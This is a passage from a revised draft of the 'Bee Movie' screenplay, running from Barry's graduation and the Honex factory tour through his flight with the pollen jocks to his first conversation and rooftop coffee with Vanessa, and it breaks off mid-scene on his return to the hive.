and fly over the crowd to their seats. * BARRY * (re: graduation ceremony) * Boy, quite a bit of pomp...under * the circumstances. * They land in their seats. BARRY (CONT’D) Well Adam, today we are men. "Bee Movie" - JS REVISIONS 8/13/07 5. ADAM We are. BARRY Bee-men. ADAM Amen! BARRY Hallelujah. Barry hits Adam’s forehead. Adam goes into the rapture. An announcement comes over the PA. ANNOUNCER (V.O) Students, faculty, distinguished bees...please welcome, Dean Buzzwell. ANGLE ON: DEAN BUZZWELL steps up to the podium. The podium has a sign that reads: “Welcome Graduating Class of:”, with train-station style flipping numbers after it. BUZZWELL Welcome New Hive City graduating class of... The numbers on the podium change to 9:15. BUZZWELL (CONT’D) ...9:15. (he clears his throat) And that concludes our graduation ceremonies. And begins your career at Honex Industries. BARRY Are we going to pick our job today? ADAM I heard it’s just orientation. The rows of chairs change in transformer-like mechanical motion to Universal Studios type tour trams. Buzzwell walks off stage. BARRY (re: trams) Whoa, heads up! Here we go. "Bee Movie" - JS REVISIONS 8/13/07 6. SEQ. 125 - “FACTORY” FEMALE VOICE (V.O) Keep your hands and antennas inside the tram at all times. (in Spanish) Dejen las manos y antennas adentro del tram a todos tiempos. BARRY I wonder what it’s going to be like? ADAM A little scary. Barry shakes Adam. BARRY AND ADAM AAHHHH! The tram passes under SIGNS READING: “Honex: A Division of Honesco: A Part of the Hexagon Group.” TRUDY Welcome to Honex, a division of Honesco, and a part of the Hexagon group. BARRY This is it! The Honex doors OPEN, revealing the factory. BARRY (CONT’D) Wow. TRUDY We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant pollen jocks bring the nectar to the hive where our top secret formula is automatically color-corrected, scent adjusted and bubble contoured into this... Trudy GRABS a TEST TUBE OF HONEY from a technician. "Bee Movie" - JS REVISIONS 8/13/07 7. TRUDY (CONT’D) ...soothing, sweet syrup with its distinctive golden glow, you all know as... EVERYONE ON THE TRAM (in unison) H-o-n-e-y. Trudy flips the flask into the crowd, and laughs as they all scramble for it. ANGLE ON: A GIRL BEE catching the honey. ADAM (sotto) That girl was hot. BARRY (sotto) She’s my cousin. ADAM She is? BARRY Yes, we’re all cousins. ADAM Right. You’re right. TRUDY At Honex, we also constantly strive to improve every aspect of bee existence. These bees are stress testing a new helmet technology. ANGLE ON: A STUNT BEE in a HELMET getting hit with a NEWSPAPER, then a SHOE, then a FLYSWATTER. He gets up, and gives a “thumb’s up”. The graduate bees APPLAUD. ADAM (re: stunt bee) What do you think he makes? BARRY Not enough. TRUDY And here we have our latest advancement, the Krelman. "Bee Movie" - JS REVISIONS 8/13/07 8. BARRY Wow, what does that do? TRUDY Catches that little strand of honey that hangs after you pour it. Saves us millions. ANGLE ON: The Krelman machine. Bees with hand-shaped hats on, rotating around a wheel to catch drips of honey. Adam’s hand shoots up. ADAM Can anyone work on the Krelman? TRUDY Of course. Most bee jobs are small ones. But bees know that every small job, if it’s done well, means a lot. There are over 3000 different bee occupations. But choose carefully, because you’ll stay in the job that you pick for the rest of your life. The bees CHEER. ANGLE ON: Barry’s smile dropping slightly. BARRY The same job for the rest of your life? I didn’t know that. ADAM What’s the difference? TRUDY And you’ll be happy to know that bees as a species haven’t had one day off in 27 million years. BARRY So you’ll just work us to death? TRUDY (laughing) We’ll sure try. Everyone LAUGHS except Barry. "Bee Movie" - JS REVISIONS 8/13/07 9. The tram drops down a log-flume type steep drop. Cameras flash, as all the bees throw up their hands. The frame freezes into a snapshot. Barry looks concerned. The tram continues through 2 doors. FORM DISSOLVE TO: SEQ. 175 - “WALKING THE HIVE” INT. HONEX LOBBY ANGLE ON: The log-flume photo, as Barry looks at it. ADAM Wow. That blew my mind. BARRY (annoyed) “What’s the difference?” Adam, how could you say that? One job forever? That’s an insane choice to have to make. ADAM Well, I’m relieved. Now we only have to make one decision in life. BARRY But Adam, how could they never have told us that? ADAM Barry, why would you question anything? We’re bees. We’re the most perfectly functioning society on Earth. They walk by a newspaper stand with A SANDWICH BOARD READING: “Bee Goes Berserk: Stings Seven Then Self.” ANGLE ON: A BEE filling his car’s gas tank from a honey pump. He fills his car some, then takes a swig for himself. NEWSPAPER BEE (to the bee guzzling gas) Hey! Barry and Adam begin to cross the street. "Bee Movie" - JS REVISIONS 8/13/07 10. BARRY Yeah but Adam, did you ever think that maybe things work a little too well around here? They stop in the middle of the street. The traffic moves perfectly around them. ADAM Like what? Give me one example. BARRY (thinks) ...I don’t know. But you know what I’m talking about. They walk off. SEQ. 400 - “MEET THE JOCKS” SFX: The SOUND of Pollen Jocks. PAN DOWN from the Honex statue. J-GATE ANNOUNCER Please clear the gate. Royal Nectar Force on approach. Royal Nectar Force on approach. BARRY Wait a second. Check it out. Hey, hey, those are Pollen jocks. ADAM Wow. FOUR PATROL BEES FLY in through the hive’s giant Gothic entrance. The Patrol Bees are wearing fighter pilot helmets with black visors. ADAM (CONT’D) I’ve never seen them this close. BARRY They know what it’s like to go outside the hive. ADAM Yeah, but some of them don’t come back. "Bee Movie" - JS REVISIONS 8/13/07 11. The nectar from the pollen jocks is removed from their backpacks, and loaded into trucks on their way to Honex. A SMALL CROWD forms around the Patrol Bees. Each one has a PIT CREW that takes their nectar. Lou Loduca hurries a pit crew along: LOU LODUCA You guys did great! You’re monsters. You’re sky freaks! I love it! I love it! SCHOOL GIRLS are jumping up and down and squealing nearby. BARRY I wonder where those guys have just been? ADAM I don’t know. BARRY Their day’s not planned. Outside the hive, flying who-knows-where, doing who-knows-what. ADAM You can’t just decide one day to be a Pollen Jock. You have to be bred for that. BARRY Right. Pollen Jocks cross in close proximity to Barry and Adam. Some pollen falls off, onto Barry and Adam. BARRY (CONT’D) Look at that. That’s more pollen than you and I will ever see in a lifetime. ADAM (playing with the pollen) It’s just a status symbol. I think bees make too big a deal out of it. BARRY Perhaps, unless you’re wearing it, and the ladies see you wearing it. ANGLE ON: Two girl bees. "Bee Movie" - JS REVISIONS 8/13/07 12. ADAM Those ladies? Aren’t they our cousins too? BARRY Distant, distant. ANGLE ON: TWO POLLEN JOCKS. JACKSON Look at these two. SPLITZ Couple of Hive Harrys. JACKSON Let’s have some fun with them. The pollen jocks approach. Barry and Adam continue to talk to the girls. GIRL 1 It must be so dangerous being a pollen jock. BARRY Oh yeah, one time a bear had me pinned up against a mushroom. He had one paw on my throat, and with the other he was slapping me back and forth across the face. GIRL 1 Oh my. BARRY I never thought I’d knock him out. GIRL 2 (to Adam) And what were you doing during all of this? ADAM Obviously I was trying to alert the authorities. The girl swipes some pollen off of Adam with a finger. BARRY (re: pollen) I can autograph that if you want. "Bee Movie" - JS REVISIONS 8/13/07 13. JACKSON Little gusty out there today, wasn’t it, comrades? BARRY Yeah. Gusty. BUZZ You know, we’re going to hit a sunflower patch about six miles from here tomorrow. BARRY Six miles, huh? ADAM (whispering) Barry. BUZZ It’s a puddle-jump for us. But maybe you’re not up for it. BARRY Maybe I am. ADAM (whispering louder) You are not! BUZZ We’re going, oh-nine hundred at JGate. ADAM (re: j-gate) Whoa. BUZZ (leaning in, on top of Barry) What do you think, Buzzy Boy? Are you bee enough? BARRY I might be. It all depends on what oh-nine hundred means. CUT TO: SEQ. 450 - “THE BALCONY” "Bee Movie" - JS REVISIONS 8/13/07 14. INT. BENSON HOUSE BALCONY - LATER Barry is standing on the balcony alone, looking out over the city. Martin Benson ENTERS, sneaks up behind Barry and gooses him in his ribs. MARTIN BENSON Honex! BARRY Oh, Dad. You surprised me. MARTIN BENSON (laughing) Have you decided what you’re interested in, Son? BARRY Well, there’s a lot of choices. MARTIN BENSON But you only get one. Martin LAUGHS. BARRY Dad, do you ever get bored doing the same job every day? MARTIN BENSON Son, let me tell you something about stirring. (making the stirring motion) You grab that stick and you just move it around, and you stir it around. You get yourself into a rhythm, it’s a beautiful thing. BARRY You know dad, the more I think about it, maybe the honey field just isn’t right for me. MARTIN BENSON And you were thinking of what, making balloon animals? That’s a bad job for a guy with a stinger. "Bee Movie" - JS REVISIONS 8/13/07 15. BARRY Well no... MARTIN BENSON Janet, your son’s not sure he wants to go into honey. JANET BENSON Oh Barry, you are so funny sometimes. BARRY I’m not trying to be funny. MARTIN BENSON You’re not funny, you’re going into honey. Our son, the stirrer. JANET BENSON You’re going to be a stirrer?! BARRY No one’s listening to me. MARTIN BENSON Wait until you see the sticks I have for you. BARRY I can say anything I want right now. I’m going to get an ant tattoo. JANET BENSON Let’s open some fresh honey and celebrate. BARRY Maybe I’ll pierce my thorax! MARTIN BENSON (toasting) To honey! BARRY Shave my antennae! JANET BENSON To honey! "Bee Movie" - JS REVISIONS 8/13/07 16. BARRY Shack up with a grasshopper, get a gold tooth, and start calling everybody “Dawg.” CUT TO: SEQ. 760 - “JOB PLACEMENT” EXT. HONEX LOBBY - CONTINUOUS ANGLE ON: A BEE BUS STOP. One group of bees stands on the pavement, as another group hovers above them. A doubledecker bus pulls up. The hovering bees get on the top level, and the standing bees get on the bottom. Barry and Adam pull up outside of Honex. ADAM I can’t believe we’re starting work today. BARRY Today’s the day. Adam jumps out of the car. ADAM (O.C) Come on. All the good jobs will be gone. BARRY Yeah, right... ANGLE ON: A BOARD READING: “JOB PLACEMENT BOARD”. Buzzwell, the Bee Processor, is at the counter. Another BEE APPLICANT, SANDY SHRIMPKIN is EXITING. SANDY SHRIMPKIN Is it still available? BUZZWELL Hang on. (he looks at changing numbers on the board) Two left. And...one of them’s yours. Congratulations Son, step to the side please. "Bee Movie" - JS REVISIONS 8/13/07 17. SANDY SHRIMPKIN Yeah! ADAM (to Sandy, leaving) What did you get? SANDY SHRIMPKIN Picking the crud out. That is stellar! ADAM Wow. BUZZWELL (to Adam and Barry) Couple of newbies? ADAM Yes Sir. Our first day. We are ready. BUZZWELL Well, step up and make your choice. ANGLE ON: A CHART listing the different sectors of Honex. Heating, Cooling, Viscosity, Krelman, Pollen Counting, Stunt Bee, Pouring, Stirrer, Humming, Regurgitating, Front Desk, Hair Removal, Inspector No. 7, Chef, Lint Coordinator, Stripe Supervisor, Antennae-ball polisher, Mite Wrangler, Swatting Counselor, Wax Monkey, Wing Brusher, Hive Keeper, Restroom Attendant. ADAM (to Barry) You want to go first? BARRY No, you go. ADAM Oh my. What’s available? BUZZWELL Restroom attendant is always open, and not for the reason you think. ADAM Any chance of getting on to the Krelman, Sir? BUZZWELL Sure, you’re on. "Bee Movie" - JS REVISIONS 8/13/07 18. He plops the KRELMAN HAT onto Adam’s head. ANGLE ON: The job board. THE COLUMNS READ: “OCCUPATION” “POSITIONS AVAILABLE”, and “STATUS”. The middle column has numbers, and the right column has job openings flipping between “open”, “pending”, and “closed”. BUZZWELL (CONT’D) Oh, I’m sorry. The Krelman just closed out. ADAM Oh! He takes the hat off Adam. BUZZWELL Wax Monkey’s always open. The Krelman goes from “Closed” to “Open”. BUZZWELL (CONT’D) And the Krelman just opened up again. ADAM What happened? BUZZWELL Well, whenever a bee dies, that’s an opening. (pointing at the board) See that? He’s dead, dead, another dead one, deady, deadified, two more dead. Dead from the neck up, dead from the neck down. But, that’s life. ANGLE ON: Barry’s disturbed expression. ADAM (feeling pressure to decide) Oh, this is so hard. Heating, cooling, stunt bee, pourer, stirrer, humming, inspector no. 7, lint coordinator, stripe supervisor, antenna-ball polisher, mite wrangler-- Barry, Barry, what do you think I should-- Barry? Barry? "Bee Movie" - JS REVISIONS 8/13/07 19. Barry is gone. CUT TO: SEQ. 775 - “LOU LODUCA SPEECH” EXT. J-GATE - SAME TIME Splitz, Jackson, Buzz, Lou and two other BEES are going through final pre-flight checks. Barry ENTERS. LOU LODUCA Alright, we’ve got the sunflower patch in quadrant nine. Geranium window box on Sutton Place... Barry’s antennae rings, like a phone. ADAM (V.O) What happened to you? Where are you? Barry whispers throughout. BARRY I’m going out. ADAM (V.O) Out? Out where? BARRY Out there. ADAM (V.O) (putting it together) Oh no. BARRY I have to, before I go to work for the rest of my life. ADAM (V.O) You’re going to die! You’re crazy! Hello? BARRY Oh, another call coming in. "Bee Movie" - JS REVISIONS 8/13/07 20. ADAM (V.O) You’re cra-- Barry HANGS UP. ANGLE ON: Lou Loduca. LOU LODUCA If anyone’s feeling brave, there’s a Korean Deli on 83rd that gets their roses today. BARRY (timidly) Hey guys. BUZZ Well, look at that. SPLITZ Isn’t that the kid we saw yesterday? LOU LODUCA (to Barry) Hold it son, flight deck’s restricted. JACKSON It’s okay Lou, we’re going to take him up. Splitz and Jackson CHUCKLE. LOU LODUCA Really? Feeling lucky, are ya? A YOUNGER SMALLER BEE THAN BARRY, CHET, runs up with a release waiver for Barry to sign. CHET Sign here. Here. Just initial that. Thank you. LOU LODUCA Okay, you got a rain advisory today and as you all know, bees cannot fly in rain. So be careful. As always, (reading off clipboard) watch your brooms, hockey sticks, dogs, birds, bears, and bats. "Bee Movie" - JS REVISIONS 8/13/07 21. Also, I got a couple reports of root beer being poured on us. Murphy’s in a home because of it, just babbling like a cicada. BARRY That’s awful. LOU LODUCA And a reminder for all you rookies, bee law number one, absolutely no talking to humans. Alright, launch positions! The Jocks get into formation, chanting as they move. LOU LODUCA (CONT’D) Black and Yellow! JOCKS Hello! SPLITZ (to Barry) Are you ready for this, hot shot? BARRY Yeah. Yeah, bring it on. Barry NODS, terrified. BUZZ Wind! - CHECK! JOCK #1 Antennae! - CHECK! JOCK #2 Nectar pack! - CHECK! JACKSON Wings! - CHECK! SPLITZ Stinger! - CHECK! BARRY Scared out of my shorts - CHECK. LOU LODUCA Okay ladies, let’s move it out. Everyone FLIPS their goggles down. Pit crew bees CRANK their wings, and remove the starting blocks. We hear loud HUMMING. "Bee Movie" - JS REVISIONS 8/13/07 22. LOU LODUCA (CONT'D) LOU LODUCA (CONT’D) Pound those petunia's, you striped stem-suckers! All of you, drain those flowers! A FLIGHT DECK GUY in deep crouch hand-signals them out the archway as the backwash from the bee wings FLUTTERS his jump suit. Barry follows everyone. SEQ. 800 - “FLYING WITH THE JOCKS” The bees climb above tree tops in formation. Barry is euphoric. BARRY Whoa! I’m out! I can’t believe I’m out! So blue. Ha ha ha! (a beat) I feel so fast...and free. (re: kites in the sky) Box kite! Wow! They fly by several bicyclists, and approach a patch of flowers. BARRY (CONT'D) Flowers! SPLITZ This is blue leader. We have roses visual. Bring it around thirty degrees and hold. BARRY (sotto) Roses. JACKSON Thirty degrees, roger, bringing it around. Many pollen jocks break off from the main group. They use their equipment to collect nectar from flowers. Barry flies down to watch the jocks collect the nectar. JOCK Stand to the side kid, it’s got a bit of a kick. The jock fires the gun, and recoils. Barry watches the gun fill up with nectar. "Bee Movie" - JS REVISIONS 8/13/07 23. BARRY Oh, that is one Nectar Collector. JOCK You ever see pollination up close? BARRY No, Sir. He takes off, and the excess pollen dust falls causing the flowers to come back to life. JOCK (as he pollinates) I pick some pollen up over here, sprinkle it over here, maybe a dash over there, pinch on that one...see that? It’s a little bit of magic, ain’t it? The FLOWERS PERK UP as he pollinates. BARRY Wow. That’s amazing. Why do we do that? JOCK ...that’s pollen power, Kid. More pollen, more flowers, more nectar, more honey for us. BARRY Cool. The Jock WINKS at Barry. Barry rejoins the other jocks in the sky. They swoop in over a pond, kissing the surface. We see their image reflected in the water; they’re really moving. They fly over a fountain. BUZZ I’m picking up a lot of bright yellow, could be daisies. Don’t we need those? SPLITZ Copy that visual. We see what appear to be yellow flowers on a green field. "Bee Movie" - JS REVISIONS 8/13/07 24. They go into a deep bank and dive. BUZZ Hold on, one of these flowers seems to be on the move. SPLITZ Say again...Are you reporting a moving flower? BUZZ Affirmative. SEQ. 900 - “TENNIS GAME” The pollen jocks land. It is a tennis court with dozens of tennis balls. A COUPLE, VANESSA and KEN, plays tennis. The bees land right in the midst of a group of balls. KEN (O.C) That was on the line! The other bees start walking around amongst the immense, yellow globes. SPLITZ This is the coolest. What is it? They stop at a BALL on a white line and look up at it. JACKSON I don’t know, but I’m loving this color. SPLITZ (smelling tennis ball) Smells good. Not like a flower. But I like it. JACKSON Yeah, fuzzy. BUZZ Chemical-y. JACKSON Careful, guys, it’s a little grabby. Barry LANDS on a ball and COLLAPSES. "Bee Movie" - JS REVISIONS 8/13/07 25. BARRY Oh my sweet lord of bees. JACKSON Hey, candy brain, get off there! Barry attempts to pulls his legs off, but they stick. BARRY Problem! A tennis shoe and a hand ENTER FRAME. The hand picks up the ball with Barry underneath it. BARRY (CONT'D) Guys! BUZZ This could be bad. JACKSON Affirmative. Vanessa walks back to the service line, BOUNCES the ball. Each time it BOUNCES, the other bees cringe and GASP. ANGLE ON: Barry, terrified. Pure dumb luck, he’s not getting squished. BARRY (with each bounce) Very close...Gonna Hurt...Mamma’s little boy. SPLITZ You are way out of position, rookie. ANGLE ON: Vanessa serving. We see Barry and the ball up against the racket as she brings it back. She tosses the ball into the air; Barry’s eyes widen. The ball is STRUCK, and the rally is on. KEN Coming in at you like a missile! Ken HITS the ball back. Barry feels the g-forces. ANGLE ON: The Pollen Jocks watching Barry pass by them in SLOW MOTION. "Bee Movie" - JS REVISIONS 8/13/07 26. BARRY (in slow motion) Help me! JACKSON You know, I don't think these are flowers. SPLITZ Should we tell him? JACKSON I think he knows. BARRY (O.S) What is this?! Vanessa HITS a high arcing lob. Ken waits, poised for the return. We see Barry having trouble maneuvering the ball from fatigue. KEN (overly confident) Match point! ANGLE ON: Ken running up. He has a killer look in his eyes. He’s going to hit the ultimate overhead smash. KEN (CONT'D) You can just start packing up Honey, because I believe you’re about to eat it! ANGLE ON: Pollen Jocks. JACKSON Ahem! Ken is distracted by the jock. KEN What? No! He misses badly. The ball rockets into oblivion. Barry is still hanging on. ANGLE ON: Ken, berating himself. KEN (CONT’D) Oh, you cannot be serious. We hear the ball WHISTLING, and Barry SCREAMING. "Bee Movie" - JS REVISIONS 8/13/07 27. BARRY Yowser!!! SEQ. 1000 - “SUV” The ball flies through the air, and lands in the middle of the street. It bounces into the street again, and sticks in the grille of an SUV. INT. CAR ENGINE - CONTINUOUS BARRY’S POV: the grille of the SUV sucks him up. He tumbles through a black tunnel, whirling vanes, and pistons. BARRY AHHHHHHHHHHH!! OHHHH!! EECHHH!! AHHHHHH!! Barry gets chilled by the A/C system, and sees a frozen grasshopper. BARRY (CONT’D) (re: grasshopper) Eww, gross. CUT TO: INT. CAR - CONTINUOUS The car is packed with a typical suburban family: MOTHER, FATHER, eight-year old BOY, LITTLE GIRL in a car seat and a GRANDMOTHER. A big slobbery DOG is behind a grate. Barry pops into the passenger compartment, hitting the Mother’s magazine. MOTHER There’s a bee in the car! They all notice the bee and start SCREAMING. BARRY Aaahhhh! Barry tumbles around the car. We see the faces from his POV. MOTHER Do something! "Bee Movie" - JS REVISIONS 8/13/07 28. FATHER I’m driving! Barry flies by the little girl in her CAR SEAT. She waves hello. LITTLE GIRL Hi, bee. SON He’s back here! He’s going to sting me! The car SWERVES around the road. Barry flies into the back, where the slobbery dog SNAPS at him. Barry deftly avoids the jaws and gross, flying SPITTLE. MOTHER Nobody move. If you don’t move, he won’t sting you. Freeze! Everyone in the car freezes. Barry freezes. They stare at each other, eyes going back and forth, waiting to see who will make the first move. Barry blinks. GRANNY He blinked! Granny pulls out a can of HAIR SPRAY. SON Spray him, Granny! Granny sprays the hair spray everywhere. FATHER What are you doing? GRANNY It’s hair spray! Extra hold! MOTHER Kill it! Barry gets sprayed back by the hair spray, then sucked out of the sunroof. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 29. EXT. CITY STREET - CONTINUOUS BARRY Wow. The tension level out here is unbelievable. I’ve got to get home. As Barry flies down the street, it starts to RAIN. He nimbly avoids the rain at first. BARRY (CONT’D) Whoa. Whoa! Can’t fly in rain! Can’t fly in rain! Can’t fly in-- A couple of drops hit him, his wings go limp and he starts falling. BARRY (CONT'D) Mayday! Mayday! Bee going down! Barry sees a window ledge and aims for it and just makes it. Shivering and exhausted, he crawls into an open window as it CLOSES. SEQ. 1100 - “VANESSA SAVES BARRY” INT. VANESSA’S APARTMENT - CONTINUOUS Inside the window, Barry SHAKES off the rain like a dog. Vanessa, Ken, Andy, and Anna ENTER the apartment. VANESSA Ken, can you close the window please? KEN Huh? Oh. (to Andy) Hey, check out my new resume. I made it into a fold-out brochure. You see? It folds out. Ken holds up his brochure, with photos of himself, and a resume in the middle. ANGLE ON: Barry hiding behind the curtains, as Ken CLOSES THE WINDOW. "Bee Movie" - JS REVISIONS 8/13/07 30. BARRY Oh no, more humans. I don’t need this. Barry HOVERS up into the air and THROWS himself into the glass. BARRY (CONT’D) (dazed) Ow! What was that? He does it again, and then multiple more times. BARRY (CONT'D) Maybe this time...this time, this time, this time, this time, this time, this time, this time. Barry JUMPS onto the drapes. BARRY (CONT'D) (out of breath) Drapes! (then, re: glass) That is diabolical. KEN It’s fantastic. It’s got all my special skills, even my top ten favorite movies. ANDY What’s your number one? Star Wars? KEN Ah, I don’t go for that, (makes Star Wars noises), kind of stuff. ANGLE ON: Barry. BARRY No wonder we’re not supposed to talk to them. They’re out of their minds. KEN When I walk out of a job interview they’re flabbergasted. They can’t believe the things I say. Barry looks around and sees the LIGHT BULB FIXTURE in the middle of the ceiling. "Bee Movie" - JS REVISIONS 8/13/07 31. BARRY (re: light bulb) Oh, there’s the sun. Maybe that’s a way out. Barry takes off and heads straight for the light bulb. His POV: The seventy-five watt label grows as he gets closer. BARRY (CONT’D) I don’t remember the sun having a big seventy five on it. Barry HITS the bulb and is KNOCKED SILLY. He falls into a BOWL OF GUACAMOLE. Andy dips his chip in the guacamole, taking Barry with it. ANGLE ON: Ken and Andy. KEN I’ll tell you what. You know what? I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Barry’s POV: Giant human mouth opening. KEN (CONT’D) Wait! Stop! Beeeeeee! ANNA Kill it! Kill it! They all JUMP up from their chairs. Andy looks around for something to use. Ken comes in for the kill with a big TIMBERLAND BOOT on each hand. KEN Stand back. These are winter boots. Vanessa ENTERS, and stops Ken from squashing Barry. VANESSA (grabs Ken’s arm) Wait. Don’t kill him. CLOSE UP: on Barry’s puzzled face. KEN You know I’m allergic to them. This thing could kill me. "Bee Movie" - JS REVISIONS 8/13/07 32. VANESSA Why does his life have any less value than yours? She takes a GLASS TUMBLER and places it over Barry. KEN Why does his life have any less value than mine? Is that your statement? VANESSA I’m just saying, all life has value. You don’t know what he’s capable of feeling. Barry looks up through the glass and watches this conversation, astounded. Vanessa RIPS Ken’s resume in half and SLIDES it under the glass. KEN (wistful) My brochure. There’s a moment of eye contact as she carries Barry to the window. She opens it and sets him free. VANESSA There you go, little guy. KEN (O.C) I’m not scared of them. But, you know, it’s an allergic thing. ANDY (O.C) * Hey, why don’t you put that on your * resume-brochure? * KEN (O.C) It’s not funny, my whole face could puff up. ANDY (O.C) Make it one of your “Special Skills.” KEN (O.C) You know, knocking someone out is also a special skill. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 33. EXT. WINDOWSILL - CONTINUOUS Barry stares over the window frame. He can’t believe what’s just happened. It is still RAINING. DISSOLVE TO: SEQ. 1200 - “BARRY SPEAKS” EXT. WINDOWSILL - LATER Barry is still staring through the window. Inside, everyone’s saying their good-byes. KEN Vanessa, next week? Yogurt night? VANESSA Uh, yeah sure Ken. You know, whatever. KEN You can put carob chips on there. VANESSA Good night. KEN (as he exits) Supposed to be less calories, or something. VANESSA Bye. She shuts the door. Vanessa starts cleaning up. BARRY I’ve got to say something. She saved my life. I’ve got to say something. Alright, here it goes. Barry flies in. "Bee Movie" - JS REVISIONS 8/13/07 34. INT. VANESSA’S APARTMENT - CONTINUOUS Barry hides himself on different PRODUCTS placed along the kitchen shelves. He hides on a Bumblebee Tuna can, and a “Greetings From Coney Island” MUSCLE-MAN POSTCARD on the fridge. BARRY (on fridge) What would I say? (landing on a bottle) I could really get in trouble. He stands looking at Vanessa. BARRY (CONT'D) It’s a bee law. You’re not supposed to talk to a human. I can’t believe I’m doing this. I’ve got to. Oh, I can’t do it! Come on! No, yes, no, do it! I can’t. How should I start it? You like jazz? No, that’s no good. Here she comes. Speak, you fool. As Vanessa walks by, Barry takes a DEEP BREATH. BARRY (CONT’D) (cheerful) Umm...hi. Vanessa DROPS A STACK OF DISHES, and HOPS BACK. BARRY (CONT’D) I’m sorry. VANESSA You’re talking. BARRY Yes, I know, I know. VANESSA You’re talking. BARRY I know, I’m sorry. I’m so sorry. VANESSA It’s okay. It’s fine. It’s just, I know I’m dreaming, but I don’t recall going to bed. "Bee Movie" - JS REVISIONS 8/13/07 35. BARRY Well, you know I’m sure this is very disconcerting. VANESSA Well yeah. I mean this is a bit of a surprise to me. I mean...you’re a bee. BARRY Yeah, I am a bee, and you know I’m not supposed to be doing this, but they were all trying to kill me and if it wasn’t for you...I mean, I had to thank you. It’s just the way I was raised. Vanessa intentionally JABS her hand with a FORK. VANESSA Ow! BARRY That was a little weird. VANESSA (to herself) I’m talking to a bee. BARRY Yeah. VANESSA I’m talking to a bee. BARRY Anyway... VANESSA And a bee is talking to me... BARRY I just want you to know that I’m grateful, and I’m going to leave now. VANESSA Wait, wait, wait, wait, how did you learn to do that? BARRY What? "Bee Movie" - JS REVISIONS 8/13/07 36. VANESSA The talking thing. BARRY Same way you did, I guess. Mama, Dada, honey, you pick it up. VANESSA That’s very funny. BARRY Yeah. Bees are funny. If we didn’t laugh, we’d cry. With what we have to deal with. Vanessa LAUGHS. BARRY (CONT’D) Anyway. VANESSA Can I, uh, get you something? BARRY Like what? VANESSA I don’t know. I mean, I don’t know. Coffee? BARRY Well, uh, I don’t want to put you out. VANESSA It’s no trouble. BARRY Unless you’re making anyway. VANESSA Oh, it takes two minutes. BARRY Really? VANESSA It’s just coffee. BARRY I hate to impose. "Bee Movie" - JS REVISIONS 8/13/07 37. VANESSA Don’t be ridiculous. BARRY Actually, I would love a cup. VANESSA Hey, you want a little rum cake? BARRY I really shouldn’t. VANESSA Have a little rum cake. BARRY No, no, no, I can’t. VANESSA Oh, come on. BARRY You know, I’m trying to lose a couple micrograms here. VANESSA Where? BARRY Well... These stripes don’t help. VANESSA You look great. BARRY I don’t know if you know anything about fashion. Vanessa starts POURING the coffee through an imaginary cup and directly onto the floor. BARRY (CONT'D) Are you alright? VANESSA No. DISSOLVE TO: SEQ. 1300 - “ROOFTOP COFFEE” "Bee Movie" - JS REVISIONS 8/13/07 38. EXT. VANESSA’S ROOF - LATER Barry and Vanessa are drinking coffee on her roof terrace. He is perched on her keychain. BARRY ...He can’t get a taxi. He’s making the tie in the cab, as they’re flying up Madison. So he finally gets there. VANESSA Uh huh? BARRY He runs up the steps into the church, the wedding is on... VANESSA Yeah? BARRY ...and he says, watermelon? I thought you said Guatemalan. VANESSA Uh huh? BARRY Why would I marry a watermelon? Barry laughs. Vanessa doesn’t. VANESSA Oh! Is that, uh, a bee joke? BARRY Yeah, that’s the kind of stuff that we do. VANESSA Yeah, different. A BEAT. VANESSA (CONT’D) So anyway...what are you going to do, Barry? "Bee Movie" - JS REVISIONS 8/13/07 39. BARRY About work? I don’t know. I want to do my part for the hive, but I can’t do it the way they want. VANESSA I know how you feel. BARRY You do? VANESSA Sure, my parents wanted me to be a lawyer or doctor, but I wanted to be a florist. BARRY Really? VANESSA My only interest is flowers. BARRY Our new queen was just elected with that same campaign slogan. VANESSA Oh. BARRY Anyway, see there’s my hive, right there. You can see it. VANESSA Oh, you’re in Sheep Meadow. BARRY (excited) Yes! You know the turtle pond? VANESSA Yes? BARRY I’m right off of that. VANESSA Oh, no way. I know that area. Do you know I lost a toe-ring there once? BARRY Really? "Bee Movie" - JS REVISIONS 8/13/07 40. VANESSA Yes. BARRY Why do girls put rings on their toes? VANESSA Why not? BARRY I don’t know. It’s like putting a hat on your knee. VANESSA Really? Okay. A JANITOR in the background changes a LIGHTBULB. To him, it appears that Vanessa is talking to an imaginary friend. JANITOR You all right, ma’am? VANESSA Oh, yeah, fine. Just having two cups of coffee. BARRY Anyway, this has been great. (wiping his mouth) Thanks for the coffee. Barry gazes at Vanessa. VANESSA Oh yeah, it’s no trouble. BARRY Sorry I couldn’t finish it. Vanessa giggles. BARRY (CONT'D) (re: coffee) If I did, I’d be up the rest of my life. Ummm. Can I take a piece of this with me? VANESSA Sure. Here, have a crumb. She takes a CRUMB from the plate and hands it to Barry. "Bee Movie" - JS REVISIONS 8/13/07 41. BARRY (a little dreamy) Oh, thanks. VANESSA Yeah. There is an awkward pause. BARRY Alright, well then, I guess I’ll see you around, or not, or... VANESSA Okay Barry. BARRY And thank you so much again, for before. VANESSA Oh that? BARRY Yeah. VANESSA Oh, that was nothing. BARRY Well, not nothing, but, anyway... Vanessa extends her hand, and shakes Barry’s gingerly. The Janitor watches. The lightbulb shorts out. The Janitor FALLS. CUT TO: SEQ. 1400 - “HONEX” INT. HONEX BUILDING - NEXT DAY ANGLE ON: A TEST BEE WEARING A PARACHUTE is in a wind tunnel, hovering through increasingly heavy wind. SIGNS UNDER A FLASHING LIGHT READ: “Test In Progress” & “Hurricane Survival Test”. 2 BEES IN A LAB COATS are observing behind glass. "Bee Movie" - JS REVISIONS 8/13/07 42. LAB COAT BEE 1 This can’t possibly work. LAB COAT BEE 2 Well, he’s all set to go, we may as well try it. (into the mic) Okay Dave, pull the chute. The test bee opens his parachute. He’s instantly blown against the rear wall. Adam and Barry ENTER. ADAM Sounds amazing. BARRY Oh, it was amazing. It was the scariest, happiest moment of my life. ADAM Humans! Humans! I can’t believe you were with humans! Giant scary humans! What were they like? BARRY Huge and crazy. They talk crazy, they eat crazy giant things. They drive around real crazy. ADAM And do they try and kill you like on TV? BARRY Some of them. But some of them don’t. ADAM How’d you get back? BARRY Poodle. ADAM Look, you did it. And I’m glad. You saw whatever you wanted to see out there, you had your “experience”, and now you’re back, you can pick out your job, and everything can be normal. "Bee Movie" - JS REVISIONS 8/13/07 43. ANGLE ON: LAB BEES examining a CANDY CORN through a microscope. BARRY Well... ADAM Well? BARRY 